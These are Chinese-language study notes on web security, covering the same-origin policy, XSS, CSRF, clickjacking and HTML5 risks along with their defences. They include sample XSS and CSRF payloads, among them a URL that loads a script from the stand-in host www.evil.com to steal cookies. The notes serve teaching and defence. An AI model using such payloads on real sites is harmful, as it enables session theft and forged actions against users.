本文介绍web安全的相关知识
浏览器安全、xss未复习,csrf已复习
浏览器安全
同源策略
同源策略是浏览器最核心也是最基本的安全功能。
同源意味着协议、host(域名或IP地址,如果是IP地址则看作一个根域名)、端口号相同。
浏览器的同源策略,限制了来自不同源的”document”或脚本,对当前”document”读取或设置某些属性。
script、img、iframe、link等标签都可以跨域加载资源,而不受同源策略的限制。这些带”src”属性的标签每次加载时实际上是由浏览器发起了一次GET请求。不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。XMLHttpRequest受到同源策略的约束,不能跨域访问资源。
但是互联网是开放的,跨域请求的需求也越来越迫切,因此W3C委员会制定了XMLHttpRequest跨域访问标准。它需要通过目标域返回的HTTP头来授权是否允许跨域访问,因为HTTP头对于JavaScript来说一般是无法控制的。
跨域访问请求过程
index.html -> Origin -> index.php
index.php -> Access-Control-Allow-Origin -> index.html
对于浏览器来说,除了DOM、Cookie、XMLHttpRequest会受到同源策略的限制外,浏览器加载的一些第三方插件也有各自的同源策略。如Flash、Java、Applet、Silverlight、Google Gears等都有自己的控制策略。
以Flash为例,它主要通过目标网站提供的crossdomain.xml文件判断是否允许当前”源”的Flash跨域访问目标资源。
1 | <cross-domain-policy> |
只有来自.qq.com和.gtimg.com域的请求是被允许的。
在Flash9及之后的版本中,还实现了MIME检查以确认crossdomain.xml是否合法,比如查看服务器返回HTTP头的Content-Type是否是text/*、application/xml、application/xhtml+xml。这样做的原因,是因为攻击者可以通过上传crossdomain.xml文件控制Flash的行为,绕过同源策略。除了MIME检查外,Flash还会检查crossdomain.xml是否在根目录下,也可以使得一些上传文件的攻击失效。
然而,一些浏览器的同源策略也曾被绕过,比如这个IE8的CSS漏洞
1 | <body> |
1 | <style> |
在www.b.com/test2.html中通过@import加载了http://www.a.com/test.html 为CSS文件,渲染进入当前页面DOM,同时通过document.body.currentStyle.fontFamily 访问此内容。问题发生在IE的CSS Parse的过程中,IE将fontFamily后面的内容当做了value,从而可以读取www.a.com/test.html的页面内容。会弹出
1 | aaaaaaaaaaaa |
我们前面提到,script等标签仅能加载资源,但不能读、写资源的内容,而这个漏洞能够跨域读取页面内容,因此绕过了同源策略,成为一个跨域漏洞。
浏览器沙箱
在网页中插入一段恶意代码,利用浏览器漏洞执行代码,在用户电脑中植入木马,称为”挂马”。
Sandbox即沙箱,泛指”资源隔离类模块”的代名词。其设计的目的一般是为了让不可信任的代码运行在一定的环境中,限制不可信任代码访问隔离区之外的资源。如果一定要跨越Sandbox边界产生数据交换,则只能通过指定的数据通道。比如经过封装的API来完成,在这些API中会严格检查请求的合法性。
浏览器大多采用多进程架构,各个功能模块分开,各个浏览器实例分开。当一个进程崩溃时,不会影响到其他进程。如Google渲染进程由Sandbox隔离,网页代码与浏览器内核进程、操作系统进行通信都需要通过IPC channel,在其中会进行一些安全检查。
采用Sandbox技术,可以让不信任的网页代码、JavaScript代码运行在一个受到限制的环境中,从而保护本地桌面系统的安全。
但是浏览器安全是一个整体,浏览器所加载的一些第三方插件却往往不受Sandbox管辖,比如Flash、Java、PDF、.Net Framework都是浏览器攻击的热点。
恶意网址拦截
目前各个浏览器的恶意网址拦截功能都是基于”黑名单”的。一般浏览器周期性地从服务器端获取一份最新的恶意网址黑名单。如果用户上网时访问的网址存在于此黑名单中,浏览器就会弹出一个警告页面。
常见的恶意网址分为两类:一类是挂马网站,另一类是钓鱼网站,通过模仿知名网站的相似页面来欺骗用户。
除了恶意网址黑名单拦截功能,主流浏览器都开始支持EV SSL证书,其主要特色是浏览器会给予EV SSL证书特殊待遇,如在地址栏特别标注。
高速发展的浏览器安全
IE8推出的XSS Filter功能。当用户访问的URL中包含了XSS攻击的脚本时,IE会修改其中的关键字符使得攻击无效,并对用户弹出提示框。
Firefox4推出的CSP,由服务器返回一个HTTP头,并在其中描述页面应该遵循的安全策略。
浏览器的拓展与插件也会带来安全问题,除了插件可能存在漏洞外,插件其本身也可能存在恶意行为。
跨站脚本攻击(XSS)详解
XSS简介
XSS(Cross Site Script)攻击,通常指黑客通过”HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
一开始,这种攻击的演示案例是跨域的,所以叫做”跨站脚本”。现在是否跨域已经不再重要,但是名字一直沿用下来。
XSS长期以来被列为客户端Web安全中的头号大敌。因为XSS破坏力强大,且产生的场景复杂,难以一次性解决。
下面举个XSS的例子
假如用户把页面输入的参数直接输出到页面上:
1 |
|
如果用户提交了一段HTML代码
1 | http://www.test.com/test.php?param=<script>alert(/xss/)</script> |
alert(/xss/)就会在页面中执行,弹出框显示/xss/。
这个例子就是XSS的一种:反射型XSS。
根据效果的不同,XSS可以分为三类
- 反射型XSS
反射型XSS只是简单地把用户输入的数据”反射“给浏览器。也就是说黑客往往需要诱使用户”点击“一个恶意链接,才能攻击成功。反射型XSS也叫”非持久型XSS”。
- 存储型XSS
存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。
比较常见的,黑客写下一篇包含恶意JavaScript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码。黑客把恶意脚本保存在了服务端,这种XSS攻击就叫做“存储型XSS”。存储型XSS也叫做“持久型XSS”。
- DOM Based XSS
DOM Based XSS从效果上来说也是反射型XSS,单独划分出来是因为它的形成原因比较特殊,发现它的安全专家提出了这种类型的XSS。出于历史原因把它单独作为一个分类了。
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
下面举个例子
1 |
|
输入框构造如下数据:
1 | ' onclick=alert(/xss/) // |
它先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个引号。
输入后,页面代码变成了:
1 | <a href="" onclick="alert(/xss/)" '>testLink</a> |
点击新生成的这个链接,脚本将被执行。
其实这里还有另外一种利用方式,还可以选择闭合掉<a>
标签,并插入一个新的HTML标签。尝试如下输入:
1 | '><img src=# onerror=alert(/xss2/) /><' |
页面代码变成了
1 | <a href=""> |
脚本直接被执行,弹出/xss2/。
XSS攻击进阶
初识XSS Payload
XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为”XSS Payload”。
XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。
一个最常见的XSS Payload,就是通过读取浏览器对象,从而发起“Cookie劫持”攻击。
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。也就是,你可以在不知道密码的情况下直接登录用户账户。
下面举个例子,攻击者先加载一个远程脚本:
1 | http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></script> |
真正的XSS Payload写在这个脚本中,避免直接在URL参数中写入大量的JavaScript代码。
evil.js代码如下,它将document.cookie对象发送到了远端服务器
1 | var img = document.createElement('img'); |
Cookie的”HttpOnly”标识可以防止“Cookie劫持”,我们将在稍后具体介绍。
强大的XSS Payload
“Cookie劫持”并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识;有的网站可能会把Cookie与客户端IP绑定。尽管如此,攻击者还是有很多方式能够控制用户的浏览器。
构造GET和POST请求
假设有篇博客所在域的某页面存在XSS漏洞,正常删除文章的链接是:
1 | http://blog.com/article?m=delete&id=123 |
那么攻击者只需要知道文章的id,皆可以通过这个请求删除这篇文章了。
1 | var img = document.createElement('img'); |
攻击者只需要让博客作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。
对于POST请求,可以这样实现
第一个种方法
1 | var f = document.createElement('form'); |
如果参数很多,通过构造DOM节点的方式,代码将十分冗长。可以通过innerHTML直接写html字符串的方式构造。
第二种方法可以使用XMLHttpRequest直接发送一个POST请求。
XSS钓鱼
前面介绍的,XSS的攻击过程都是在浏览器中通过JavaScript脚本自动进行的,也就是说,缺少“与用户交互”的过程。
比如之前“通过POST表单发消息”的例子,如果要求用户输入验证码,那么一般的XSS Payload都会失效。此外,在大多数“修改用户密码”的功能中,都会要求用户输入原密码,而攻击者往往是不知道的。
但这也不能限制住XSS。
对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远端服务器——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload。
修改密码的问题稍微复杂点,攻击者可以将XSS与“钓鱼”相结合。利用JavaScript实现一个伪造的登录框,当用户输入用户名和密码后,将密码发送至黑客的服务上。
识别用户浏览器
攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如知道用户使用的浏览器、操作系统,就有可能实施一次精准的浏览器内存攻击,最后给用户电脑植入一个木马。
比如使用XSS读取浏览器的UserAgent对象
1 | alert(navigator.userAgent); |
但是这个对象是可以伪造的,所以信息不一定准确。
可以有另外一种技巧,来更准确地识别用户的浏览器版本
由于浏览器之间的实现存在差异,同一个浏览器不同版本之前可能也有细微的差别。通过判断这些差异,就能准确的识别出浏览器版本。
比如:
1 | if (window.ActiveXObject) // MSIE 6.0 or below |
识别用户安装的软件
在IE中,可以通过判断ActiveX控件的classid是否存在,来判断用户是否安装了该软件,选择对应的浏览器漏洞,最终达到植入木马的目的。
一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。
浏览器的扩展和插件也能被XSS Payload扫描出来。比如Firefox的插件(Plugin)列表存放在一个DOM对象中,通过查询DOM可以遍历所有的插件。
CSS History Hack
通过CSS可以获取一个用户曾经访问过的网站。其原理利用的是style的visited属性。如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。
获取用户的真实IP地址
很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?
JavaScript本身并没有提供获取本地IP地址的能力,XSS攻击需要借助第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。
除了Java之外,一些ActiveX控件可能也会提供接口查询本地IP地址。这些功能比较特殊,需要具体情况具体分析。
XSS攻击平台
有安全研究者将许多功能封装起来,称为XSS攻击平台。这些平台主要是为了演示XSS的危害,以及方便渗透测试使用。
终极武器:XSS Worm
XSS也能形成蠕虫
Samy Worm
在2005年有年仅19岁的Samy Kamkar对MySpace.com发起的,这是Web安全史上第一个重量级的XSS Worm。
首先,Myspace网站过滤掉了很多危险的标签,所有的事件如”onclick“等也被过滤了。但是它允许用户控制标签的style属性,通过style还是有办法构造出XSS的
1 | <div style="background:url('javascript:alert(1)')"> |
其次,Myspace同时还过滤了‘javasript’、‘onreadystatechange’等敏感词,所以Samy用了”拆分法“绕过这些限制。
最后,Samy通过AJAX构造的POST请求,完成了在用户的heros列表里添加自己名字的功能:同时复制蠕虫自身进行传播。
XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的。但是发起它是有一定条件的。
一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。
比如,发送站内信、用户留言等页面,都是XSS Worm的高发区。
XSS构造技巧
利用字符编码
”百度搜藏”曾经在一个<script>
标签中输出了一个变量
1 | var redirectUrl = "\";alert(/xss/);"; |
变量处于双引号内,系统转义了双引号导致变量无法“escape”。
但是,返回页面是GBK/GB2312编码的,因此”%c1\“这两个字符组合在一起后,会成为一个Unicode字符。所以构造:
1 | %c1";alert(/xss/);// |
并提交,得到如下效果
1 | var readirectUrl = "乱码";alert(2);//"; |
绕过长度限制
1 | <input type=text value="$var" /> |
如果服务器对$var做个严格的长度限制,假如长度限制为20个字节
攻击者这样构造:
1 | $var 为: "><script>alert(/xss/)</script> |
超过了长度。
这样构造
1 | $var 为: "onclick=alert(1)// |
不会超过长度限制
最好的办法是将XSS Payload写到别处,再通过简短的代码加载它。
最常用的一个”藏代码“的地方,就是”localtion.hash”,它的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容。
1 | $var 修改为: " onclick="eval(location.hash.substr(1)) |
当然,还可以使用远程加载js的方法,以避免浏览器地址栏长度的限制。
使用 标签
<base>
标签并不常用,它定义页面上所有使用”相对路径”标签的hosting地址。它可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。
攻击可以在页面中插入<base>
标签,通过在远程服务器伪造图片、链接或脚本,劫持当前页面中所使用“相对路径”的标签
所以在设计XSS安全方案时,一定要过滤掉这个危险的标签。
window.name
window对象是浏览器的窗体,很多时候window对象不受同源策略限制,可以实现跨域、跨页面传递数据。
使用window.name可以缩短XSS Payload的长度
1 | <script> |
在同一个窗口打开XSS的站点后,只需要通过XSS执行代码
1 | eval(window.name); |
Apache Expect Header XSS
向服务器提交
1 | Expect: <script>alert('xss');</script> |
当服务器出错返回时,Expect头的内容未经任何处理便会写入页面。对于XSS攻击来说,JavaScript工作在渲染后的浏览器环境中,无法控制用户浏览器发出的HTTP头。该漏洞当初被认为是一个鸡肋。
但是,使用Flash,可以自定义大多数请求的HTTP头。因此,Flash在新版本中禁止用户发送Expect头。但后来发现可以通过注入HTTP头的方式绕过这个限制,Flash目前已经修补了该问题。
此类攻击,还可以通过Java Applet等构造HTTP请求的第三方插件来实现。
Anehta的回旋镖
反射型XSS也可能像存储型XSS一样利用。
回旋镖的思路是:如果在B域上存在一个反射型“XSS_B”,在A域上存在一个存储型“XSS_A”,当用户访问A域上的“XSS_A”时,同时嵌入B域上的“XSS_B“,则可以达到在A域的XSS攻击B域用户的目的。
我们知道,在IE中,<iframe>
、<img>
、<link>
等标签都会拦截”第三方Cookie“的发送。在Firefox则无这种限制(第三方Cookie指得是保存在本地的Cookie,也就是服务器设置了expire时间的Cookie)。
所以对于Firefox,只需要在XSS_A处嵌入一个iframe即可
1 | <iframe src="http://www.b.com/?xss..."></iframe> |
对于IE,为了达到执行XSS_B的目的,可以使用一个<form>
标签,在浏览器提交form表单时,不会拦截第三方Cookie的发送。因此,先在XSS_A上写一个<form>
,自动提交到XSS_B,然后在XSS_B中再跳转回原来的XSS_A,完成了一个”回旋镖“。这种攻击的缺点是,用户会看到地址栏的变化。
Flash XSS
在Flash中是可以嵌入ActionScript脚本的,
1 | getURL("javascript:alert(document.cookie)"); |
使用<embed>
将Flash嵌入页面中。
在实现XSS Filter时,一般会禁用<embed>
、<object>
等标签。后者甚至可以加载ActiveX控件。
如果网站一定要使用Flash,如果仅仅是视频文件,则要求其转码为”flv文件“。flv是静态文件,不会产出安全隐患。如果是带动态脚本的Flash,可以通过Flash的配置参数限制。
限制Flash动态脚本的最重要的参数是”allowScriptAccess“,这个参数定义了Flash能否与HTML页面进行通信。它有三个可选值:
1.always 不做任何限制
2.sameDomain 只允许来自于本域的Flash与Html通信,默认值
3.nerver 禁止
allowNetworking 也非常关键,它能控制Flash与外部网络进行通信
1.all 允许所有网络 默认值
2.internal 不能与浏览器通信如navigateToURL,但可以调用其他的API
3.none 禁止
除了用户上传的Flash文件能够实施脚本攻击外,一些Flash也可能会产生XSS漏洞。
1 | on (release) { |
这段代码缺乏输入验证,会被XSS攻击。
XSS的防御
HttpOnly
浏览器禁止页面的JavaScript访问带有HttpOnly属性的Cookie。它解决的是XSS后的Cookie劫持攻击。
HttpOnly是在服务器返回的响应头Set-Cookie上标记的:
1 | Set-Cookie: <name>=<value>[; <Max-Age>=<age>] |
输入检查
XSS要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
输入检查的逻辑,必须放在服务端代码中实现。如果只是在客户端使用JavaScript进行输入检查,很容易被攻击者绕过。目前的普遍做法是,同时在客户端和服务端实现相同的输入检查。客户端检查可以阻挡大部分误操作的用户,从而节省服务器资源。
XSS输入检查一般会检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,将这些字符过滤或者编码。
比较智能的输入检查,可能会匹配XSS的特征。比如查找用户数据中是否包含了<script>
、javascript等敏感字符。
这种输入检查的方式,称为XSS Filter。
XSS Filter只获取了用户提交的数据进行检查,但是并没有结合渲染页面的HTML代码,因此对语境的理解并不完整。
例如:
1 | <script src="$var"></script> |
用户只需要提交一个恶意脚本所在的URL地址,即可实施XSS攻击。而大多数情况下,URL是合法的用户数据。
XSS Filter还有一个问题,对<、>的处理可能会改变用户语义。
比如
1 | 1+1<3 |
如果XSS Filter不够智能,粗暴地过滤或者替换<,则会改变用户原来的意思。
输出检查
既然输入检查存在这么多问题,那输出检查又如何呢?
一般来说,除了富文本输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
安全的编码函数
编码分为很多种,针对HTML代码的编码方式是HtmlEncode。
HtmlEncode并非专有名词,它只是一种函数实现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1
为了对抗XSS,在HTMLEncode中要求至少转换以下字符:
1 | & -> & |
Javascript的编码方式可以使用JavaScriptEncode
它使用”\”对特殊字符进行转义。在对抗XSS时还要求输出的变量必须在引号内部,以避免造成安全问题。
比较两种写法
1 | var x = escapeJavaScript($evil); |
如果只是转义了几个危险字符,如’、”、<、>、\、&、#等,那么可能会输出
1 | var x = 1;alert(2); |
攻击者即使想要逃脱出引号的范围,也会遇到困难。
1 | var y = "\";alert(1);\/\/"; |
但是开发者没有这个习惯怎么办?
那就只能使用一个更加严格的JavaScriptEncode函数来保证安全了——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码
1 | var x = 1;alert(2); |
变成了
1 | var x = 1\x3balert\x282\x29; |
此外还有其他编码函数,如XMLEncode、JSONEncode等
只需要一种编码吗
XSS主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模板系统中解决。
如Python的开发框架Django自带的模板系统”Django Templates”,可以使用escape进行HtmlEncode,并且在Django1.0中得到了加强——默认所有的变量都会被escape。
但这样还是不能完全避免XSS问题,需要“在正确的地方使用正确的编码方式”
例如
1 | <body> |
如果用户输入
1 | $var = htmlencode("');alert('2"); |
对于浏览去器来说,htmlparser会优先于JavaScript Parser执行
经过解析后,结果为
1 | <body> |
xss被注入。
xss发出的原因是,没有分清楚输出变量的语境,并非在模板引擎中使用了auto-escape就万事大吉了。
正确防御XSS
XSS的本质是一种“HTML注入”,想要根治XSS问题,可以列出所有XSS可能发生的场景,再一一解决。
在HTML标签中输出
1 | <div>$var</div> |
防御的方法是对变量使用HtmlEncode
在HTML属性中输出
1 | <div id="abc" name="$var" ></div> |
防御的方法是对变量也是使用HtmlEncode
在script标签中输出
首先应该确保输出的变量在引号中:
1 | <script> |
防御时使用JavaScriptEncode
在事件中输出
1 | <a href=# onclick="funcA('$var')" >test</a> |
防御方式和在script标签中输出类似
在CSS中输出
比如@import、url等直接加载XSS、expression(alert(‘xss’))等
一方面需尽可能避免用户可控制的变量在css中输出,如果必须有这样的需求,那么使用encodeForCSS
在地址栏输出
一般来说使用URLEncode即可,但是如果整个URL被用户完全控制,Protocal和Host是不能使用URLEncode的,否则会改变URL的语义。
[Protocal][Host][Path][Search][Hash]
例如https://www.evil.com/a/b/c/test?abc=123#ssss
对于如下的输出方式:
1 | <a href="$var" >test</a> |
攻击者可能会构造伪协议实施攻击
1 | <a href="javascript:alert(1);" >test</a> |
此外,“vbscript”、“dataURI”等伪协议也可以导致脚本执行。
一般来说,对于用户控制整个URL,应该先检查是否以“http”开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击,然后再对变量进行URLEncode。
处理富文本
网站允许用户提交一些自定义的HTML代码,称之为富文本。
在处理富文本时,还是要回到“输入检查”的思路上来。“输入检查”的主要问题是检查时还不知道变量的输出语境。但富文本数据,其语义是完整的HTML,在输出时也不会拼凑到某个标签的属性中。因此,可以特殊对待。
通过htmlparser可以解析出HTML代码的标签、标签属性和事件。
在过滤富文本时,事件应该被严格禁止、而一些危险的标签,比如iframe、script、base、form等也是应该严格禁止的。在标签选择上,应该使用白名单。比如,只允许a、img、div等比较安全的标签。“白名单”同样应该用于属性和事件的选择。
在富文本过滤中,处理CSS也是一件麻烦的事,因此应该禁止用户自定义CSS和style。如果不能禁止,那就需要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。
防御DOM Based XSS
DOM Based XSS前文提到的几种防御方法都不太适用。
DOM Based XSS是从JavaScript中输出数据到HTML页面里,而前文都是针对从服务器应用直接输出到HTML页面的XSS漏洞。
服务器执行了javascriptEscape,输出的数据又重新渲染到了页面中,对变量进行了解码,仍然会产生XSS。
正确的防御方法是,在$var输出到script时,执行一次javaScriptEncode,其次在输出到HTML页面时,如果输出到事件或者脚本,则要再做一次javaScriptEncode;如果输出到HTML内容或者属性,则再做一次HtmlEncode。
触发DOM Based XSS的地方有很多,以下几个地方是JavaScript输出到HTML页面的必经之路。
document.write()
document.writeln()
xxx.innerHTML=
xxx.outerHTML=
innerHTML.replace
document.attachEvent()
window.attachEvent()
document.location.replace()
document.location.assign()
…
需要重点关注这几个地方的参数是否可以被用户控制
除了服务器端直接输出变量到JavaScript外,还有以下几个地方可能成为DOM Based XSS的输出点,也需要重点关注。
inputs框
window.location(href、hash等)
window.name
document.referrer
document.cookie
localstorage
XMLHttpRequest返回的数据
…
换个角度看XSS的风险
前面都是从漏洞的形成原理上看的,如果从业务风险角度看则有不同的观点
一般来说,存储型XSSS的风险高于反射型。因为它保存在服务器上,有可能会跨页面存在。它不会改变页面URL的原有结构,因此有时候还能逃过一些IDS的检测。
从攻击过程来说,反射型XSS,一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储型XSS,则只需要让用户查看一个正常的URL链接。
从风险角度看,用户之间有互动的页面,是可能发起XSS Worm攻击的地方。而根据不同页面的PageView高低,也可以分析出哪些页面受XSS攻击后的影响更大。
在修补漏洞时遇到的最大挑战之一是漏洞数量太多,开发者不太来得及立刻修复所有漏洞。从业务风险角度来重新定位每个XSS漏洞,就具有了重要意义。
跨站点请求伪造(CSRF)
CSRF(Cross Site Request Forgery),跨站点请求伪造。
一个例子
攻击者首先在自己的域构造一个页面
1 | http://www.a.com/csrf.html |
其内容为
1 | <img src="http://blog.com/article?m=delete&id=1" /> |
攻击者诱使目标用户(博主),访问这个页面,id=1的一篇博客文章就被删除了。
这里攻击者以该用户身份(本质上是发送了Cookie)在第三方站点里发送了请求,这个请求是攻击者伪造的,所以叫”跨站点请求伪造”。
浏览器的Cookie策略
浏览器所持有的Cookie分为两种:
一种是”Session Cookie”,又称”临时Cookie”;另一种是”Third-party Cookie”,也称为”本地Cookie”。Third-party Cookie服务器指定了Expire时间,会保存在本地。Session Cookie没有指定Expire时间,保存在浏览器进程的内存空间中,新打开的Tab页也是有效的,但浏览器关闭后就失效了。
一个域加载另一个域的资源(比如使用img、iframe、script、link等标签),由于安全原因,许多浏览器会阻止Third-party Cookie的发送,只能发送Session Cookie。而某些浏览器不会阻止,前面删除文章的例子就是在不会阻止Third-party Cookie发送的浏览器中实现的。
P3P头的副作用
浏览器拦截第三方Cookie发送,在某种程度上降低了CSRF攻击的威力。
但是P3P Header会是问题复杂起来,它是W3C制定的一项关于隐私的标准,如果网站返回给浏览器的HTTP头中包含有P3P头,将允许浏览器发送第三方Cookie。它主要用于需要跨域访问页面的场景,如父页面b嵌入了iframe,iframe的src指向的a页面网址,a页面响应头有Set-Cookie。一般情况下由于跨域,在a.com上Set-Cookie是不会成功的,但是加入P3P头后,可以跨域Set-Cookie成功,浏览器也不会再拦截第三方Cookie的发送。P3P头只需要由网站设置一次即可,之后每次请求都会遵循此策略。
只有GET请求可以吗?
对于攻击者来说,有许多方法构造POST请求。
1.form表单
在页面中构造一个form表单,使用JavaScript自动提交这个表单。
2.Flash
Flash有多种方式能够发送网络请求,包括POST请求,如使用URLRequest、getURL、loadVars等。
CSRF Worm
2008年9月,国内安全组织80sec公布了一个百度的CSRF Worm。
它主要利用了两个接口:
1 | http://msg.baidu.com/?...sn=用户账户&co=消息内容... |
修改参数sn,可以对指定用户发送短消息。
而另一个接口能查询出某个用户的所有好友
1 | http://frd.baidu.com/?...un=用户账户... |
两者相结合,先让一个百度用户查看恶意页面后,给他所有好友发送一条短消息,消息中又包含一个恶意页面,使得好友将消息发送给他们的好友,就形成了一个CSRF Worm。
CSRF的防御
验证码
验证码可以强制用户与应用进行交互,只有在用户知情的情况下才会发送请求。但是,出于用户体验考虑,不能给所有接口都加上验证码,所以只能作为一种辅助的防御手段。
Referer Check
Referer的值一般是请求所在的页面,Referer Check可以被用于检查请求是否来自合法的”源“。
但是,服务器并非任何时候都可以取到Referer,很多用户处于隐私保护限制了Referer的发送。从Https跳转到http出于安全的考虑,浏览器也不会发送Referer。Flash一些低版本也可以伪造Referer。
所以不能依赖Referer来防御,但作为监控CSRF攻击的发生,倒是一种可行的方法。
Anti CSRF Token
这是业内的常用做法。
CSRF的本质是重要操作的所有参数都是可以被攻击者猜测到的。
我们在参数上增加一个参数Token,这个Token是随机的,Token可以放在用户的Session中,或者浏览器的Cookie中,在提交请求时,服务器需要验证请求的Token和用户的Session(或Cookie)是否一致,如果一致,则请求是合法的。
这是“不可预测性原则”的一种应用。
Token的使用原则
1.Token的生成一定要足够随机。
2.可以允许在一个用户的有效生命周期内,使用同一个Token。但如果是下个周期,则应该生成新的Token(如表单已提交)。
3.为了处理多个页面共存Token失效的问题,可以考虑生成多个有效的Token。
4.要注意Token的保密性,可以把Token放在表单内部,而非url上,把敏感操作由GET改为POST,避免Token泄漏。当然如果网站存在XSS漏洞,Token也会泄漏,所以安全防御的体系是相辅相成的。
点击劫持(ClickJacking)
什么是点击劫持
点击劫持是一种视觉上的欺骗手段。攻击者一般使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击iframe页面的一些功能性按钮上。
通过控制iframe的长、宽,以及调整top、left位置,可以把iframe页面内任意部分覆盖到任何地方。同时设置iframe的position为absolute,并将z-index的值设置为最大,以达到让iframe处于页面的最上层。最后,再通过设置opacity来控制iframe页面的透明程度,值为0是完全不可见。
在CSRF攻击中,如果出现用户需要交互的页面,攻击可能无法完成。但是,点击劫持没有这个问题,因为它利用的就是与用户产生交互的页面。
Flash点击劫持
曾经有一个ClickJacking攻击案例,攻击者可以通过Flash构造了点击劫持,在完成一系列复杂的动作后,最终控制了用户电脑的摄像头。
攻击者制作了一个Flash游戏,这个游戏就是让用户去点击“CLICK”按钮,每次点击后这个按钮的位置都会发生变化。在Flash上面隐藏了一个看不见的iframe,攻击通过诱导用户鼠标点击就能完成较复杂的动作。
图片覆盖攻击
图片覆盖也可以起到类似的点击劫持的作用。(XSIO,Cross Site Image Overlaying)
通过调整图片的style可以使图片覆盖的任意指定位置。
1 | <img style="position: absolute; right: 320px; top: 90px"> |
如果应用没有限制style的position为absolute的话,图片可以覆盖到页面上的任意位置。
用户点击图片,如果链接到一个钓鱼网站,用户可能就上当了。
图片还可以伪装得像一个正常的链接、按钮;或者在图片中构造一些文字,覆盖在关键的位置,就有可能完全改变页面中想表达的意思。这种情况下,不需要用户点击,也能达到欺骗的目的。比如,修改图片中的联系电话。
由于img标签在很多站点都是对用户开放的,在防御XSIO时,需要检查用户提交的HTML代码中,img标签的style属性是否可能导致浮出。
拖拽劫持与数据窃取
目前很多浏览器都支持Drag & Drop的API。浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另一个窗口,因此拖拽是不受同源策略限制的。
拖拽劫持的思路是诱使用户从隐藏的不可见iframe中拖拽出攻击者希望得到的数据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。
ClickJacking3.0:触屏劫持
安全研究者称其为TapJacking。
从手机OS的角度来看,触屏实际上就是一个事件,手机OS捕捉这些事件,并执行相应的动作。
常见的几个事件:
1 | touchstart: 手指触摸屏幕时发生 |
将一个不可见的iframe覆盖到当前网页上,就可以劫持用户的触屏操作。
针对视觉效果的攻击可以被利用进行钓鱼和欺诈。
防御ClickJacking
针对传统的ClickJacking,一般是通过禁止跨域的iframe来防范。
frame busting
通过可以写一段JavaScript代码,以禁止iframe的嵌套。这种方法叫作frame busting。比如
1 | if (top.location != location) { |
当然,还要很多很多frame busting的写法,这里就不一一罗列了。
frame busting有一些缺陷,由于它是用JavaScript写的,控制能力并不是特别强,因此有很多方法可以绕过它。此外像HTML5的sandbox属性、IE中iframe的security属性等,都可以限制iframe页面中的JavaScript脚本执行,从而使frame busting失效。
X-Frame-Options
X-Frame-Options可以说是为了解决ClickJacking而生的,它有三个可选的值:
1 | DENY 拒绝当前页面加载任何frame页面 |
除了X-Frame-Options之外,Firefox的“Content Security Policy”以及Firefox的NoScript扩展也能有效防御ClickJacking。这些方案为我们提供了更多的选择。
小结
ClickJacking主要被利用在钓鱼、欺诈和广告作弊等方面。相对于XSS与CSRF来说,因为需要诱导用户与页面产生交互行为,因此实施攻击的成本更高,在网络犯罪中比较少见。
HTML5安全
HTML5带来了新的功能,也带来了新的安全挑战。
HTML5新标签
一些XSS Filter如果建立了一个黑名单的话,可能覆盖不到HTML5新增的标签和功能。
如video可以远程加载一段视频,audio标签也类似。
1 | <video src="http://file.ogg" onloadedmetadata="alert(document.cookie);" ondurationchanged="alert(/xss2)" ontimeupdate="alert(/xss1/);"></video> |
可以成功绕过百度空间的XSS Filter。
iframe的sandbox
在HTML5中,专门为<iframe>
定义了一个新的属性,叫sandbox。使用sandbox这个属性,<iframe>
标签加载的内容将被视为一个独立的”源”,其中的脚本将被禁止执行,表单被禁止提交,插件被禁止加载,指向其他浏览对象的链接也会被禁止。
sandbox属性可以通过参数来支持更精确的控制。有以下几个值可以选择:
1.allow-same-origin: 允许同源访问
2.allow-top-navigation: 允许访问顶层窗口
3.allow-forms: 允许提交表单
4.allow-script: 允许执行脚本
